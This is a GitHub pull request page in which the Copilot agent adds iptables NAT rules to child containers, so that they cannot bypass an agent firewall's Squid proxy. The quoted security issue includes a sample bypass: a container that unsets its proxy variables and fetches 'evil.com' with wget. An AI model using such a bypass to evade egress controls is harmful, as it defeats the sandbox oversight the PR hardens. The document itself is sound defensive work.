Skip to content

Conversation

Copy link
Contributor

Copilot AI commented Dec 19, 2025

Child containers spawned by the agent lack NAT rules that redirect HTTP/HTTPS traffic to Squid. Applications ignoring HTTP_PROXY env vars could bypass the firewall entirely.

Changes

docker-wrapper.sh

  • Inject --cap-add NET_ADMIN into all spawned containers
  • Wrap user commands with inline iptables NAT setup before exec
  • Apply NAT injection regardless of whether --network is specified
  • Use printf %q for robust shell metacharacter escaping
  • Extract reusable functions (parse_docker_run_args, build_escaped_cmd, etc.)

NAT Setup Script

if command -v iptables >/dev/null 2>&1; then
  iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.30.0.10:3128
  iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.30.0.10:3128
  # ... DNS and loopback allowances
fi; exec "$@"

Containers without iptables fall back to HTTP_PROXY (previous behavior).

Integration Tests

  • Verify blocked traffic even with unset HTTP_PROXY
  • Verify wget --no-proxy blocked by NAT
  • Verify DNAT rules present in child container
  • Verify images without iptables still work via proxy env vars
Original prompt

This section details on the original issue you should resolve

<issue_title>[Security] Child containers don't inherit NAT rules - proxy bypass possible</issue_title>
<issue_description>## Priority
P1 - High

Summary

NAT rules that redirect HTTP/HTTPS traffic to Squid only apply to the agent container. When the agent spawns child containers (e.g., for MCP servers), these containers do NOT have the same NAT rules. They rely solely on:

  1. HTTP_PROXY environment variables (can be ignored by applications)
  2. Host iptables default deny (blocks unknown IPs, but doesn't force proxy)

Current Behavior

Agent container has NAT rules:

iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.30.0.10:3128
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.30.0.10:3128

Spawned child containers do NOT have these rules:

# In agent container (works - NAT redirects to Squid)
curl https://blocked.com  # → Squid → denied

# In spawned container (bypasses NAT if ignores HTTP_PROXY)
docker run alpine curl https://blocked.com  # → May succeed if host iptables allows

Attack Vector

# Spawn container that ignores proxy environment variables
docker run --rm alpine sh -c '
  unset HTTP_PROXY HTTPS_PROXY http_proxy https_proxy
  wget https://evil.com  # No NAT redirect in this container
'

Current Mitigations

  1. docker-wrapper.sh injects --network awf-net and proxy env vars
  2. Host iptables has default deny for non-Squid traffic

Why This is Insufficient

  • Applications can ignore HTTP_PROXY environment variables
  • Some tools (e.g., wget --no-proxy) explicitly bypass proxy
  • Library code may not respect proxy settings
  • Container may install tools that don't use env vars

Proposed Solutions

Option A: Inject NAT setup into child containers

Modify docker-wrapper.sh to:

  1. Add --cap-add NET_ADMIN to all spawned containers
  2. Inject iptables setup script as entrypoint prefix
# In docker-wrapper.sh
INIT_SCRIPT="iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.30.0.10:3128 && \
             iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.30.0.10:3128"

DOCKER_ARGS="$DOCKER_ARGS --cap-add NET_ADMIN"
DOCKER_ARGS="$DOCKER_ARGS --entrypoint sh"
# Prepend NAT setup to original entrypoint

Option B: Shared network namespace

  1. Create a network namespace with NAT rules
  2. All child containers share this namespace
  3. NAT rules apply to all traffic in the namespace

Option C: Transparent proxy mode

Configure Squid as a transparent proxy with host-level traffic interception for all containers in awf-net.

Files to Modify

  • containers/agent/docker-wrapper.sh:82-92 - Network injection logic
  • src/docker-manager.ts - Container configuration
  • Potentially: Host-level iptables for transparent proxy

Verification Test

sudo awf --allow-domains github.com -- /bin/bash -c '
  echo "--- Child container NAT rules ---"
  docker run --rm --network awf-net --cap-add NET_ADMIN \
    alpine sh -c "apk add iptables -q && iptables -t nat -L -n 2>/dev/null | grep DNAT || echo 'No NAT rules'"
'
# Expected: "No NAT rules" (current behavior - the gap)

Related

Comments on the Issue (you are @copilot in this section)


💡 You can make Copilot smarter by setting up custom instructions, customizing its development environment and configuring Model Context Protocol (MCP) servers. Learn more Copilot coding agent tips in the docs.

Copilot AI changed the title [WIP] Fix NAT rules inheritance for child containers fix: inject NAT rules into child containers to prevent proxy bypass Dec 19, 2025
Copilot AI requested a review from Mossaka December 19, 2025 09:21
@Mossaka Mossaka added the smoke label Dec 19, 2025
@github-actions
Copy link

📰 BREAKING: Smoke Copilot is now investigating this pull request. Sources say the story is developing...

@github-actions
Copy link

github-actions bot commented Dec 19, 2025

💫 TO BE CONTINUED... Smoke Claude failed! Our hero faces unexpected challenges...

@Mossaka Mossaka marked this pull request as ready for review December 19, 2025 17:52
@github-actions
Copy link

Smoke Test Results (Run ID: 20378118736)

Last 2 merged PRs:

Tests:

  • ✅ GitHub MCP: Reviewed PRs
  • ✅ File Write: Created /tmp/gh-aw/agent/smoke-test-copilot-20378118736.txt
  • ✅ Bash Tool: Verified file contents

Status: PASS

📰 BREAKING: Report filed by Smoke Copilot fer issue #138 🗺️

@github-actions
Copy link

Test Coverage Report

Metric Coverage Covered/Total
Lines 66.1% 708/1071
Statements 66.27% 729/1100
Functions 70.73% 87/123
Branches 60.89% 232/381
Coverage Thresholds

The project has the following coverage thresholds configured:

  • Lines: 38%
  • Statements: 38%
  • Functions: 35%
  • Branches: 30%

Coverage report generated by `npm run test:coverage`

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Security] Child containers don't inherit NAT rules - proxy bypass possible

2 participants